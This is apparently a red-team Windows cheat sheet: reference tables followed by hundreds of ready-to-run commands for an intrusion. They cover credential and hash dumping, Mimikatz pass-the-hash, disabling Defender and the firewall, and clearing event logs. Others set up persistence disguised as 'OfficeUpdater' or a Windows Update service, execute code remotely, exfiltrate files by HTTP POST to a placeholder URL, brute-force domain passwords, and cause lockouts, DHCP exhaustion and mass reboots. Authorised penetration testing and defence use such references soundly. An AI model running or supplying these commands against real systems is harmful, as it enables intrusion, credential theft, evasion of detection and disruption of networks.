Red | Windows

| ID   | VERSION                 | DATE RELEASED |
--------------------------------------------------
| 1511 | Windows 10 – Threshold 2   | 2015-11-12 |
| 1607 | Windows 10 – Redstone 1    | 2016-08-02 |
| 1703 | Windows 10 – Redstone 2    | 2017-04-05 |
| 1709 | Windows 10 – Redstone 3    | 2017-10-17 |
| 1803 | Windows 10 – Redstone 4    | 2018-04-30 |
| 1809 | Windows 10 – Redstone 5    | 2018-11-13 |
| 1903 | Windows 10 – 19H1          | 2019-05-21 |
| 1909 | Windows 10 – Vanadium      | 2019-11-12 |
| 2004 | Windows 10 - Vibranium     | 2020-05-27 |
| 20H2 | Windows 10 - Vibranium     | 2020-10-20 |
| 21H1 | Windows 10 - Vibranium     | 2021-05-18 |
| 21H2 | Windows 10 - Vibranium     | 2021-11-16 |
| 21H2 | Windows 11 - Sun Valley    | 2021-10-05 |
| 22H2 | Windows 11 - Sun Valley    | 2022-09-20 |
| 23H2 | Windows 11 - Sun Valley    | 2023-10-31 |
| 24H2 | Windows 11 - Hudson Valley | 2024-10-01 |
| 25H2 | Windows 11 - Hudson Valley | 2026-09-14 |
--------------------------------------------------

| ID   | OS               | DATE RELEASED |
-------------------------------------------
| 1607 | Windows Server 2016 | 2016-08-02 |
| 1709 | Windows Server      | 2017-10-17 |
| 1803 | Windows Server      | 2018-04-10 |
| 1809 | Windows Server      | 2018-11-13 |
| 1809 | Windows Server 2019 | 2018-11-13 |
| 1903 | Windows Server      | 2019-11-12 |
| 1909 | Windows Server      | 2019-11-12 |
| 2004 | Windows Server      | 2020-06-26 |
| 20H2 | Windows Server      | 2020-10-20 |
| 21H2 | Windows Server 2022 | 2021-08-18 |
| 26H2 | Windows Server 2025 | 2024-11-01 |
-------------------------------------------

| ID      | VERSION                                                                           |
-----------------------------------------------------------------------------------------------
| NT 3.1  | Windows NT 3.1 (All)                                                              |
| NT 3.5  | Windows NT 3.5 (All)                                                              |
| NT 3.51 | Windows NT 3.51 (All)                                                             |
| NT 4.0  | Windows NT 4.0 (All)                                                              |
| NT 5.0  | Windows 2000 (All)                                                                |
| NT 5.1  | Windows XP (Home, Pro, MC, Tablet PC, Starter, Embedded)                          |
| NT 5.2  | Windows XP (64-bit, Pro 64-bit)                                                   |
| NT 5.2  | Windows Server 2003 & R2 (Standard, Enterprise)                                   |
| NT 5.2  | Windows Home Server                                                               |
| NT 6.0  | Windows Vista (Starter, Home, Basic, Home Premium, Business, Enterprise, Ultimate)|
| NT 6.0  | Windows Server 2008 (Foundation, Standard, Enterprise)                            |
| NT 6.1  | Windows 7 (Starter, Home, Pro, Enterprise, Ultimate)                              |
| NT 6.1  | Windows Server 2008 R2 (Foundation, Standard, Enterprise)                         |
| NT 6.2  | Windows 8 (x86/64, Pro, Enterprise, Windows RT (ARM))                             |
| NT 6.2  | Windows Phone 8                                                                   |
| NT 6.2  | Windows Server 2012 (Foundation, Essentials, Standard)                            |
| NT 6.3  | Windows 8.1 (Pro, Enterprise)                                                     |
| NT 6.3  | Windows Server 2012 R2                                                            |
| NT 10.0 | Windows 10 (All versions)                                                         |
| NT 10.0 | Windows Server 2016                                                               |
| NT 10.0 | Windows Server 2019                                                               |
| NT 10.0 | Windows Server 2022                                                               |
| NT 10.0 | Windows 11 (All versions)                                                         |
-----------------------------------------------------------------------------------------------

:: Points to Windows folder -- C:\Windows
%SYSTEMROOT%

:: Points to user roaming directory -- C:\Users\<USERNAME>\AppData\Roaming
%APPDATA%`

:: The computer hostname
%COMPUTERNAME%

:: Points to default OS drive -- C:\
%HOMEDRIVE%

:: Points to user directory -- C:\Users\<USERNAME>
%HOMEPATH%

:: When a command is run without a full path (for example: `ipconfig`) the OS searches all
:: file paths contained in the %PATH% environmental variable for this file
%PATH%

:: When a command is run without an extension (for example: `ipconfig`) the OS searches for
:: file matches that INCLUDE extensions from this %PATHEXT% list
%PATHEXT%

:: Points to default OS drive -- C:\
%SYSTEMDRIVE%

:: Points to user temp folders -- C:\Users\<USERNAME>\AppData\Local\Temp
%TMP% && %TEMP%

:: Points to user directories -- C:\Users\<USERNAME>
%USERPROFILE%

:: Points to Windows directory -- C:\Windows
%WINDIR%

:: Points to Windows directory -- C:\ProgramData (Windows 10+)
%ALLUSERSPROFILE%

:: DNS entries
%SYSTEMROOT%\System32\drivers\etc\hosts

:: Network settings
%SYSTEMROOT%\System32\drivers\etc\networks

:: User & password hashes
%SYSTEMROOT%\System32\config\SAM

:: Backup copy of SAM (WinXP)
%SYSTEMROOT%\repair\SAM

:: Backup copy of SAM
%SYSTEMROOT%\System32\config\RegBack\SAM

:: Application Log (WinXP)
%WINDIR%\System32\config\AppEvent.Evt

:: Security Log (WinXP)
%WINDIR%\System32\config\SecEvent.Evt

:: Security Log
%WINDIR%\System32\config\SECURITY

:: Application Log
%WINDIR%\System32\config\APPLICATION

:: Startup Location (WinXP)
%ALLUSERSPROFILE%\Start Menu\Programs\Startup\

:: Startup Folder
%USERPROFILE%\Appdata\Roaming\Microsoft\Windows\Start Menu\Programs\Startup

:: Commonly used unattend install files
%WINDIR%\Panther\

:: Commonly used unattend install files
%WINDIR%\System32\Sysprep

:: Installed patches (WinXP)
%WINDIR%\kb*

:: (WinXP)
HKLM\SYSTEM\CurrentControlSet\Control\Session Manager\BootExecute

:: Start value of 0 = Kernel Drivers (Load before Kernel initiation)
:: Start value of 2 = Auto-Start
:: Start value of 3 = Manual-Start
HKLM\System\CurrentControlSet\Services 

:: (WinXP)
HKLM\Software\Microsoft\Windows\CurrentVersion\RunServicesOnce

:: (WinXP)
HKCU\Software\Microsoft\Windows\CurrentVersion\RunServicesOnce

HKLM\Software\Microsoft\Windows\CurrentVersion\RunServices
HKCU\Software\Microsoft\Windows\CurrentVersion\RunServices

:: (WinXP)
HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Notify

HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon /v Userinit
HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon /v Shell
HKCU\Software\Microsoft\Windows NT\CurrentVersion\Winlogon /v Shell
HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\ShellServiceObjectDelayLoad
HKLM\Software\Microsoft\Windows\CurrentVersion\RunOnce
HKCU\Software\Microsoft\Windows\CurrentVersion\RunOnce

:: (WinXP)
HKLM\Software\Microsoft\Windows\CurrentVersion\RunOnceEx

HKLM\Software\Microsoft\Windows\CurrentVersion\Run
HKCU\Software\Microsoft\Windows\CurrentVersion\Run
HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run

:: (WinXP)
HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run
:: (WinXP)
HKCU\Software\Microsoft\Windows NT\CurrentVersion\Windows\load
:: (XP, NT, W2k only)
HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\SharedTaskScheduler

:: Enumerate Windows version information
ver

:: Display hotfixes and service packs
wmic qfe list

:: Display whether 32 or 64 bit system
wmic cpu get datawidth /format:list

:: Enumerate OS architecture
:: The existence of Program Files (x86) means machine is 64bit
dir /a c:\

:: Display OS configuration, including service pack levels
systeminfo

:: Display drives
fsutil fsinfo drives

:: Display logical drives
wmic logicaldisk get description,name

:: Display environment variables
set

:: Date of last reboot
:: Created date of `pagefile.sys` is last startup
dir /a c:\pagefile.sys

:: Display shares
net share

:: Display local sessions
net session

:: List user mounted shares
:: Must be run in the context of the user
reg query HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\

:: Display services hosted in each process
tasklist /svc

:: Display detailed information for running processes that are not running as SYSTEM
tasklist /FI "USERNAME ne NT AUTHORITY\SYSTEM" /FI "STATUS eq running" /V

:: Force all instances of a process and child processes to terminate
:: Terminate specific PID with `/PID <PID>`
taskkill /F /IM <PROCESS_NAME> /T

:: Terminate all instances of a process
wmic process where name="<PROCESS_NAME>" call terminate

:: Display the executable path and PID of all running processes
wmic process get name,executablepath,processid

:: Display Anti-Virus products commonly registered as AntiVirusProduct
:: PowerShell command
Get-WmiObject -Namespace "root\SecurityCenter2" -Class AntiVirusProduct -ErrorAction Stop

:: Run a file as a specific user (prompts for password)
runas /user:<DOMAIN>\<USERNAME> "<FILE_PATH> [ARGS]"

:: Display processes that match a certain string
tasklist /v | findstr "<STRING_TO_SEARCH>"

:: Display processes
:: Including command line arguments used to launch them
wmic process get processid,commandline

:: Display services (space after `state=`)
sc query state= all

:: Display current user
echo %USERNAME%

:: List number of times user has logged on
wmic netlogin where (name like "%<USERNAME>%") get Name,numberoflogons"

:: Display local Administrators
net localgroup "Administrator"

:: Network interface information
ipconfig /all

:: Display local DNS cache
ipconfig /displaydns

:: Display all connections and ports with associated process ID
netstat -ano

:: Write netstat output to file every 3 seconds
netstat –anop tcp 3 >> <FILE_PATH>

:: Display only listening ports
netstat –an | findstr LISTENING

:: Display routing table
route print

:: Display ARP table
arp -a

:: Attempt DNS zone transfer:
nslookup
server <FQDN>
set type=ANY
ls -d <DOMAIN> > <FILEPATH>
exit

:: Domain SRV lookup (other options: _ldap, _kerberos, _sip)
nslookup –type=SRV _www._tcp.<URL>

:: Disable firewall (\*Old)
netsh firewall set opmode disable

:: Display saved wireless profiles

netsh wlan show profiles

:: Export wireless profiles to include plaintext encryption keys
netsh wlan export profile folder=. key=clear

:: List interface IDs/MTUs

netsh interface ip show interfaces

:: Set IP
netsh interface ip set address name= "<INTERFACE_NAME>" static <NEW_IP> <NEW_SUBNET_MASK> <NEW_GATEWAY>

:: Set DNS server
netsh interface ip set dnsservers name= "<INTERFACE_NAME>" static <DNS_SERVER_IP>

:: Set interface to use DHCP
netsh interface ip set address name= "<INTERFACE_NAME>" source=dhcp

:: Search registry for password
reg query HKLM /f password /t REG_SZ /s

:: Save security hive to file
:: Requires SYSTEM privileges
reg save HKLM\Security security.hive

:: OS information
HKLM\Software\Microsoft\Windows NT\CurrentVersion 
/v ProductName
/v InstallDate
/v RegisteredOwner
/v SystemRoot

:: Time zone (offset in minutes from UTC)
HKLM\System\CurrentControlSet\Control\TimeZoneInformation /v ActiveTimeBias

:: Mapped network drives
HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Map Network Drive MRU

:: Mounted devices
HKLM\System\MountedDevices

:: USB devices
HKLM\System\CurrentControlSet\Enum\USB

:: Audit policy enumeration
:: Requires SYSTEM privileges
HKLM\Security\Policy\PolAdTev

:: Kernel/user services
HKLM\SYSTEM\CurrentControlSet\Services

:: Installed software for all users
HKLM\Software

:: Installed software for current user
HKCU\Software

:: Recent WordPad documents
HKCU\Software\Microsoft\Windows\CurrentVersion\Applets\Wordpad\Recent File List

:: Recent typed entries in the Run dialog box
HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\RunMRU

:: Typed URLs
HKCU\Software\Microsoft\Internet Explorer\TypedURLs

:: Last registry key accessed via `regedit.exe`
HKCU\Software\Microsoft\Windows\CurrentVersion\Applets\Regedit /v LastKey

:: Saved User SSH Connection Information
HKCU\Software\SimonTatham\Putty\Sessions

:: Display sessions for remote system
net session \\<IP_ADDRESS>

:: Display logged in user on remote machine
wmic /node: <IP_ADDRESS> computersystem get username

:: Execute file hosted over SMB on remote system with specified credentials
wmic /node: <IP_ADDRESS> /user:<DOMAIN>\<USERNAME> /password:<PASSWORD> process call create "\\<IP_ADDRESS>\<SHARE_FOLDER>\<FILE_PATH>"

:: Display process listing every second for remote machine
wmic /node: <IP_ADDRESS> process list brief /every:1

:: Query remote registry
reg query \\<IP_ADDRESS>\<REG_HIVE>\<REG_KEY> /v <REG_VALUE>

:: Display process listing on remote system
tasklist /S <IP_ADDRESS> /v

:: Display system information for remote system
systeminfo /S <IP_ADDRESS> /U <DOMAIN>\<USERNAME> /P <PASSWORD>

:: Display shares of remote computer
net view \\<IP_ADDRESS> /all

:: Connect to remote filesystem with specified user account
net use * \\<IP_ADDRESS>\<SHARE_FOLDER> /user:<DOMAIN>\<USERNAME> <PASSWORD>

:: Add registry key to remote system
REG ADD "\\<IP_ADDRESS>\HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /V "My App" /t REG_SZ /F /D "<FILE_PATH>"

:: Copy remote folder
xcopy /s \\<IP_ADDRESS>\<SHARE_FOLDER> <LOCAL_DIR>

:: Display system uptime
:: Look for creation date of pagefile.sys
:: This is the last time the system started
dir \\<IP_ADDRESS>\c$

:: Display processes (look for AV, logged on users, programs of interest, etc.)
tasklist /v /s <IP_ADDRESS>

:: Display system architecture
:: Presence of "Program Files (x86)" means 64-bit system
dir \\<IP_ADDRESS>\c$

:: Search for all PDFs
dir /a /s /b C:\*pdf*

:: Search current and subdirectories for .txt files for case insensitive string 'password'
findstr /SI password *.txt

:: Display file contents
type <FILE_PATH>

:: Display all lines in a file that match case insensitive <STRING>
find /I "<STRING_TO_SEARCH>" <FILE_PATH>

:: Display line count for a file
type <FILE_PATH> | find /c /v ""

:: Enumerate recently opened files
dir C:\Users\<USERNAME>\AppData\Roaming\Microsoft\Windows\Recent
:: Then run the following command on the .lnk:
type <FILE_PATH>
:: Look for full file path in output

:: Enumerate entire folder structure (and child folders) to file using tree.com
tree.com /F /A \\<IP_ADDRESS>\<FILE_PATH> > c:\windows\temp\silverlight1.log

:: Enumerate entire folder structure to file using 'dir /s'
dir /s /a \\<IP_ADDRESS>\<FILE_PATH> > c:\windows\temp\silverlight1.log

:: Enumerate entire folder structure to file using forfiles
:: Does not work with UNC paths
forfiles /S /C "cmd /c echo @path" /p <FILE_PATH> > c:\windows\temp\silverlight1.log

:: Compress file and download from target
makecab c:\windows\temp\silverlight1.log c:\windows\temp\silverlight_compressed.zip

:: Extract results
expand c:\users\administrator\desktop\silverlight_compressed.zip c:\users\administrator\desktop\extractedFile.txt

:: Enumerate saved volume shadow files
vssadmin list shadows

:: If any copies already exist then skip creation command
:: Create Shadow file of c:\ (Replace with desired drive letter)
wmic shadowcopy call create Volume=c:\

:: Enumerated saved volume shadow files (should see newly created shadow).
:: Note the \\?\GLOBALROOT location
vssadmin list shadows

:: Create an OS link to created shadow file
:: Note the trailing backslash at the end of the path
:: The target link name (restore in this case) must not exist
mklink /D C:\restore \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy6\

:: Copy, exfil, interact with shadow
:: Remove link -- Windows 'del' will remove actual files!
rmdir c:\restore

:: Ensure service runs as LocalSystem and log original binary path
sc \\<IP_ADDRESS> qc vss

:: Ensure service is currently off
sc \\<IP_ADDRESS> query vss

:: Set remote machine binpath to uploaded binary
sc \\<IP_ADDRESS> config vss binpath= "<FILE_PATH>"

:: Ensure remote machine service binpath was set correctly
sc \\<IP_ADDRESS> qc vss

:: Start service on remote machine
sc \\<IP_ADDRESS> start vss

:: Ensure service is off before setting binpath back to original
sc \\<IP_ADDRESS> stop vss

:: Set remote machine service binpath back to original
sc \\<IP_ADDRESS> config vss binpath="<FILE_PATH>"

:: Ensure remote machine service binpath was set back correctly
sc \\<IP_ADDRESS> qc vss

powershell -ep bypass -nop -Command ([activator]::CreateInstance([type]::GetTypeFromProgID("MMC20.Application","<IP_ADDRESS>"))). Document.ActiveView.ExecuteShellCommand("<FILE_PATH>",$null,$null,"7")

:: Add task
schtasks /Create /F /RU system /SC ONLOGON /TN OfficeUpdater /TR <FILE_PATH> /s <IP_ADDRESS>

:: Query task verbose
schtasks /query /tn OfficeUpdater /fo list /v /s <IP_ADDRESS>

:: Run task
schtasks /run /tn OfficeUpdater /s <IP_ADDRESS>

:: Delete task
schtasks /delete /tn OfficeUpdater /f /s <IP_ADDRESS>

:: List accounts with administrative access to the current machine
net localgroup administrators

:: List accounts and groups with administrative access to the domain controller
net localgroup administrators /domain

:: Display hosts currently visible on the network
net view /domain

:: Display all users in current domain
net user /domain

:: Display user information for domain user account (status,policy, groups, etc.)
net user <USERNAME> /domain

:: Display domain account policies
net accounts /domain

:: Display domain groups
net group /domain

:: Display users in a domain group
net group "<GROUPNAME>" /domain

:: Display domain controllers in the current domain
net group "Domain Controllers" /domain

:: Display all computer hostnames for current domain
net group "Domain Computers" /domain

:: Unlock domain user account
net user <USERNAME> /ACTIVE:YES /domain

:: Change domain user password
net user <USERNAME> "<PASSWORD>" /domain

:: Display administrative users
dsquery * -filter "(&(objectclass=user)(admincount=1))" -attr samaccountname name

:: Output dsquery results to disk
dsquery * -filter "((objectclass=user))" -attr name samaccountname > <OUTPUT_PATH>

:: Compress dsquery results
makecab <INPUT_PATH> <OUTPUT_PATH>

:: Extract dsquery results
expand <INPUT_PATH> <OUTPUT_PATH>

:: Display Active Directory OUs
dsquery * -filter "(objectclass=organizationalUnit)" -attr name distinguishedName description -limit 0

:: Display computers filtering on operating system
dsquery * -filter "(operatingsystem=*10*)" -attr name operatingsystem dnshostname -limit 0

:: Display all computers with a pattern in the hostname -- (DC)
dsquery * -filter "(name=*DC*)" -attr name operatingsystem dnshostname -limit 0

:: Display all Active Directory objects with a pattern SMITH in the hostname
:: Great for finding user objects
dsquery * -filter "(name=*smith*)" -attr name samaccountname description -limit 0

:: Filter on EPOCH time (password last changed, last login, etc.)
:: 1 with 12 0's is a day in epoch (1000000000000)
:: Add or subtract to adjust dsquery filter
dsquery * -filter "(&(objectclass=user)(lastlogon><EPOCH_TIME>))" -attr samaccountname name

: Display trusts associated with current domain
dsquery * -filter "(objectclass=trusteddomain)" -attr flatname trustdirection

:: Display active directory objects in a remote domain
:: Useful if trust exists
dsquery * -filter "(operatingsystem=*server*)" -attr name operatingsystem description dnshostname -d <DOMAIN_FQDN>

:: Display computers with helpful attributes
dsquery * -filter "(objectclass=computer)" -attr name dnshostname operatingsystem description -limit 0

:: Display users with helpful attributes
dsquery * -filter "(objectclass=user)" -attr name samaccountname lastlogon memberof description -limit 0

:: Display groups with helpful attributes
dsquery * -filter "(objectclass=group)" -attr name samaccountname member description -limit 0

:: Display every Active Directory object with admin in the name
dsquery * -filter "(name=*admin*)" -attr name samaccountname description objectclass -limit 0

:: Convert NT epoch time (lastLogonTimestamp time format) to readable
w32tm /ntte <EPOCH_TIME>

wevtutil qe security /rd:true /f:text /q:"*[System/EventID=4624] and *[EventData/Data[@Name='TargetUserName']='<USERNAME>']" /c:20

dsquery * -filter "(description=*<USER_LAST_NAME>*)" -attr name samaccountname description

:: Connect to any server (likely a file server) that could have active user home directories mapped
net session

:: Enable RDP
reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v SecurityLayer /t REG_DWORD /d 0 /f
reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v UserAuthentication /t REG_DWORD /d 0 /f
reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f
netsh advfirewall firewall set rule group="remote desktop" new enable=yes
sc start TermService

:: Optional: Can execute technique remotely by interacting with remote registry
reg add “\\<IP_ADDRESS>\HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v SecurityLayer /t REG_DWORD /d 0 /f

:: Change RDP Listening Port Number
:: Need to restart RDP Service
reg add "HKLM\System\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v PortNumber /t REG_DWORD /d 443 /f

:: Lock workstation
rundll32 user32.dll,LockWorkStation

:: Disable Windows firewall
netsh advfirewall set currentprofile state off
netsh advfirewall set allprofiles state off

:: Native Windows port forward
:: Must be admin
netsh interface portproxy add v4tov4 listenport=3000 listenaddress=1.1.1.1 connectport=4000 connectaddress=2.2.2.2
:: Remove
netsh interface portproxy delete v4tov4 listenport=3000 listenaddress=1.1.1.1

:: Re-enable command prompt
reg add HKCU\Software\Policies\Microsoft\Windows\System /v DisableCMD /t REG_DWORD /d 0 /f

:: List software names and uninstall software
wmic product get name /value
wmic product where name="XXX" call uninstall /nointeractive

:: Turn on IP forwarding
reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters" /v IPEnableRouter /t REG_DWORD /d 1 /f

:: Share a folder with full permissions to everyone
net share sharename=<SHARE_FOLDER> /GRANT:everyone,FULL
icacls <FILE_PATH> /grant Everyone:(F) /T

:: Add a local user and place in the local administrators group
net user <USERNAME> <PASSWORD> /ADD
net localgroup "Administrators" <USERNAME> /ADD

:: Uninstall a patch
wusa /uninstall /kb:4516059 /quiet

:: Forcibly delete all files from specified directory and all subdirectories
del <FILE_PATH>\*.* /S /Q /F

:: Disable service
sc config WinDefend start= disabled

:: Stop service
sc stop WinDefend

:: PowerShell command to disable real time monitoring
Set-MpPreference -DisableRealtimeMonitoring $true

:: PowerShell command to remove virus definitions
"%ProgramFiles%\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All

:: Backup the Application log and then clear all events
wevtutil cl Application /bu:<FILE_PATH>.evtx

:: Display the 20 most recent events from the application log
wevtutil qe Application /c:20 /rd:true /f:text

:: Display the last 100 logon events
wevtutil qe security /q:"*[System[(EventID=4624)]]" /c:100 /rd:true

:: Display all logon events during the last 24 hours
:: PowerShell
date = (Get-Date).AddHours(-24); Get-WinEvent –FilterHashTable @{ logname = "Security"; STARTTIME = $date; ID = 4624}

:: Clear Security & Application event log
:: PowerShell
Get-EventLog –list
Clear-EventLog -LogName Application,Security

:: Add user level task that executes at 9:00AM daily
schtasks /Create /F /SC DAILY /ST 09:00 /TN OfficeUpdater /TR <FILE_PATH>

:: Query task in verbose mode
schtasks /query /tn OfficeUpdater /fo list /v

:: Delete task
schtasks /delete /tn OfficeUpdater /f

:: Add key
reg ADD HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /V OfficeUpdater /t REG_SZ /F /D "<FILE_PATH>"

:: Query key
reg query HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run

:: Delete key
reg delete HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /V OfficeUpdater

:: Windows NT 6.1, 6.0, Windows 10, Windows 11
:: All users
%SystemDrive%\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup
:: Specific users
%SystemDrive%\Users\<USERNAME>\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup

:: Windows NT 5.2, 5.1, 5.0
%SystemDrive%\Documents and Settings\All Users\Start Menu\Programs\Startup

:: Windows 9x
%SystemDrive%\wmiOWS\Start Menu\Programs\Startup

:: Windows NT 4.0, 3.51, 3.50
%SystemDrive%\WINNT\Profiles\All Users\Start Menu\Programs\Startup

:: Schedule task
at HH:MM <FILE_PATH> [ARGS]

:: Delete task
at <TASK_ID> /delete

:: Add task
schtasks /Create /F /RU system /SC ONLOGON /TN OfficeUpdater /TR <FILE_PATH>

:: Query task in verbose mode
schtasks /query /tn OfficeUpdater /fo list /v

:: Delete task
schtasks /delete /tn OfficeUpdater /f

:: Run Task Manually
```batch
schtasks /run /tn OfficeUpdater

:: Optional: Can call schtasks to import a task as XML
schtasks /create /tn OfficeUpdater /xml <FILE_PATH>.xml /f

:: Add service
:: Change displayname to a name that blends in with your executable
sc create <SERVICE_NAME> binpath= "<FILE_PATH>" start= auto displayname="Windows Update Proxy Service"

:: Assign description to service
:: Change description to a phrase that blends in with your service information
sc description <SERVICE_NAME> "This service ensures Windows Update works correctly in proxy environments"

:: Query Service config
sc qc <SERVICE_NAME>

:: Query service status
```batch
sc query <SERVICE_NAME>

:: Query service description
sc qdescription <SERVICE_NAME>

:: Delete service
```batch
sc delete <SERVICE_NAME>

:: OPTIONAL: Can execute sc.exe commands remotely by referencing the remote system after sc.exe
sc \\<IP_ADDRESS> qc <SERVICE_NAME>

reg query "HKLM\SYSTEM\CurrentControlSet\Control\Session Manager\Environment" /v PATH

# Stops recording
Stop-Transcript

# Displays file contents

Get-Content <FILE_PATH>

# Shows examples of <command>
Get-Help <COMMAND> -Examples

# Searches for command string
Get-Command *<STRING_TO_SEARCH>*

# Displays services (stop-service, start-service)
Get-Service

# Displays services, but takes alternate credentials
Get-WmiObject -Class win32_service

# Display PowerShell version
$psVersionTable

# Run PowerShell 2.0 from 3.0
powershell -version 2.0

# Returns # of services
Get-Service | measure-object

# Displays drives in the current session
get-psdrive

# Returns only process names
Get-Process | select -expandproperty name

# Cmdlets that take creds
get-help * -parameter credential

# Available WMI network commands
get-wmiobject -list *network

# DNS Lookup
[Net.DNS]::GetHostEntry("<IP_ADDRESS>")

# Launch file with PowerShell
powershell -ep bypass -nop -File <FILE_PATH>

# TCP port connection (scanner)
# Change <PORT>’s to match desired ports to scan, and replace IP
$ports=(<PORT>,<PORT>,<PORT>);$ip="<IP_ADDRESS>";foreach ($port in $ports){try{$socket=New-object System.Net.Sockets.TCPClient($ip,$port);}catch{};if ($socket –eq $NULL){echo $ip":"$port" – Closed";}else{echo $ip":"$port" – Open";$socket = $NULL;}}

# Ping with 500 millisecond timeout
$ping = New-Object System.Net.Networkinformation.ping;$ping.Send("<IP_ADDRESS>",500)

# Basic authentication popup
powershell –WindowStyle Hidden –ExecutionPolicy Bypass $Host.UI.PromptForCredential("<WINDOW_TITLE>","<MESSAGE>","<USERNAME>","<DOMAIN>")

# Run FILE every 4 hours between Aug 8-11, 2022 and the hours of 0800-1700 (from Cmd.exe)
powershell –Command "do {if ((Get-Date –format YYYYMMDD-HHMM) –match ‘202208(0[8-9]|1[0-1])-(0[8-9]|1[0-7])[0-5][0-9]’){Start-Process –WindowStyle Hidden "<FILE_PATH>";Start-Sleep –s 14400}}while(1)"

# PowerShell runas
$password = convertto-securestring –string "<PASSWORD>" –asplaintext –force;
$pp = new-object –typename System.Management.Automation.PSCredential –argumentlist "<DOMAIN>\<USERNAME>", $pw;
Start-Process powershell –Credential $pp –ArgumentList ‘-noprofile –command &{Start-Process <FILE_PATH> -verb runas}’

# Email sender
Send-MailMessage –to "<EMAIL>" –from "<EMAIL>" –subject "<SUBJECT>" –a "<FILE_ATTACHEMENT>" –body "<BODY>" –SmtpServer "<IP_ADDRESS>" -Port "<PORT>" -Credential "<PS_CRED_OBJECT>" -UseSsl

# PowerShell file download from specified URL
powershell –noprofile –noninteractive –Command 'Invoke-WebRequest -Uri "https://<URL>" -OutFile <FILE_PATH>'

# PowerShell data exfil
# Script will send a file ($filepath) via http to server ($server) via POST request.
# Must have web server listening on port designated in the $server
powershell –noprofile –noninteractive –command ‘[System.Net.ServicePointManager]::ServerCertificateValidationCallback = {$true}; $server="""http://<URL>"""; $filepath="""<FILE_PATH> """; $http = new-object System.Net.WebClient; $response = $http.UploadFile($server,$filepath);’

# Export OS info into CSV file
Get-WmiObject -class win32_operatingsystem | select -property * | export-csv <FILE_PATH>

# List running services
Get-Service | where {$_.status -eq "Running"}

# PowerShell Netstat Equivalent
[System.Net.NetworkInformation.IPGlobalProperties]::GetIPGlobalProperties().GetActiveTcpConnections()

# Persistent PSDrive to remote file share
New-PSDrive -Persist -PSProvider FileSystem -Root \\<IP_ADDRESS>\<SHARE_FOLDER> -Name i

# Return files with write date past 8/20
Get-ChildItem -Path <FILE_PATH> -Force -Recurse -Filter *.log -ErrorAction SilentlyContinue | where {$_.LastWriteTime -gt "2012-08-20"}

# Turn on PowerShell remoting
Powershell -Command 'Enable-PSRemoting -Force’

:: Nested for loop ping sweep
for /L %i in (10,1,254) do @ (for /L %x in (10,1,254) do @ ping -n 1 -w 100 10.10.%i.%x 2>nul | find "Reply" && echo 10.10.%i.%x >> live.txt)

:: Loop through each line in a file
for /F "tokens=*" %%A in (<FILE_PATH>) do echo %%A

:: Domain brute forcer
for /F %%N in (users.txt) do for /F %%P in (passwords.txt) do net use \\<IP_ADDRESS>\IPC$ /user:<DOMAIN> \%%N %%P 1>NUL 2>&1 && echo %%N:%%P && net use /delete \\<IP_ADDRESS>\IPC$ > NUL

:: Account lockout -- lockout.bat
@echo Test run:
for /F "tokens=*" %%A in (<FILE_PATH>) do net use \\<IP_ADDRESS>\c$ /USER:<DOMAIN>\%%A wrongpass

:: DHCP exhaustion
for /L %%P in (2,1,254) do (netsh interface ip set address name= "<INTERFACE_NAME>" static 10.0.42.%%P 255.255.255.0 <GATEWAY_IP> && ping 127.0.0.1 –n 1 –w 10000 > nul %1)

:: DNS reverse lookup
for /L %%P in (2,1,254) do (nslookup 10.1.11.%%P | findstr /i /c:"Name" >> dns.txt && echo HOST:  10.1.11.% %%P >> dns.txt)

:: Search for files beginning with the word 'pass' and then print if it's a directory, 
:: file date/time, relative path, actual path and size (@variables are optional)
forfiles /P <FILE_PATH> /s /m pass* -c "cmd /c echo @isdir @fdate @ftime @relpath @path @fsize"

:: Simulate DNS lookups for malicious domains
:: Useful for testing detection of AV/IDS
:: Domains.txt should contain known malicious domains. 
:: If you do not want to make a legitimate DNS request for a malicious domain then 
:: just provide your local IP in place of <DNS_SERVER_IP>
for /F "tokens=*" %%A in (C:\Users\Administrator\Desktop\domains.txt) do nslookup %%A <DNS_SERVER_IP>

:: Simulated web browsing (simple traffic generation)
:: Browse to URL’s 400 times
for /L %%P in (2,1,401) do @for %%U in (<URL1> <URL2> <URL3>) do start /b iexplore %%U & ping -n 6 localhost & taskkill /F /IM iexplore.exe

:: Rolling reboot
:: Replace /r with /s for a shutdown
for /L %%P in (2,1,254) do shutdown /r /m \\1.1.1.%%P /f /t 0 /c "Reboot message"

:: Mimikatz PTH
:: Runs specified binary with PTH credentials
:: Must be run as SYSTEM
mimikatz.exe "sekurlsa::pth /user:<USERNAME> /domain:<DOMAIN> /ntlm:<NTLM_HASH> /run:<FILE_PATH>" exit

:: Mimikatz hashdump
:: Must be run as SYSTEM
mimikatz.exe "lsadump::sam" exit

:: PTH with AES128/256 bit keys
:: AES128/256 bit keys can be obtained via DCSync
